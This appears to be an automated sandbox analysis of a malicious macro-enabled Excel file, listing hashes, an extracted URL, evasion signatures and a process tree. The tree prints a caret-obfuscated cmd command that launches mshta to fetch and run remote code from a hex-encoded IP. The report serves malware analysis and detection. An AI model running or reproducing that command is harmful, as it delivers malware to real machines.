Analysis
-
max time kernel
152s -
max time network
146s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 01:16
Behavioral task
behavioral1
Sample
45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086.xlsm
Resource
win10-en-20211208
Behavioral task
behavioral2
Sample
45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086.xlsm
Resource
win10-en-20211208
General
-
Target
45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086.xlsm
-
Size
115KB
-
MD5
d06323156f9db5ba51e46d368bb05b67
-
SHA1
d3dd5b0885b0a78ff0fbd02acbb95ad7f948fef8
-
SHA256
45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086
-
SHA512
8de223a9301b905b5839d021a205c78f96b25140bac40e874a6d60b42e55d5cc20e11ce0b9f89b5bcab3515f366a747f2c9dd6c5d806116df11f84010d7c7dec
Malware Config
Extracted
http://0x5cff39c3/sec/se1.html
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1076 2648 cmd.exe 67 -
Blocklisted process makes network request 1 IoCs
flow pid Process 27 2736 mshta.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 3640 2736 WerFault.exe 73 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2648 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 3640 WerFault.exe 3640 WerFault.exe 3640 WerFault.exe 3640 WerFault.exe 3640 WerFault.exe 3640 WerFault.exe 3640 WerFault.exe 3640 WerFault.exe 3640 WerFault.exe 3640 WerFault.exe 3640 WerFault.exe 3640 WerFault.exe 3640 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3640 WerFault.exe -
Suspicious use of SetWindowsHookEx 20 IoCs
pid Process 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2648 wrote to memory of 1972 2648 EXCEL.EXE 70 PID 2648 wrote to memory of 1972 2648 EXCEL.EXE 70 PID 2648 wrote to memory of 1076 2648 EXCEL.EXE 71 PID 2648 wrote to memory of 1076 2648 EXCEL.EXE 71 PID 1076 wrote to memory of 2736 1076 cmd.exe 73 PID 1076 wrote to memory of 2736 1076 cmd.exe 73
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1972
-
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/se1.html3⤵
- Blocklisted process makes network request
PID:2736 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2736 -s 16524⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3640
-
-
-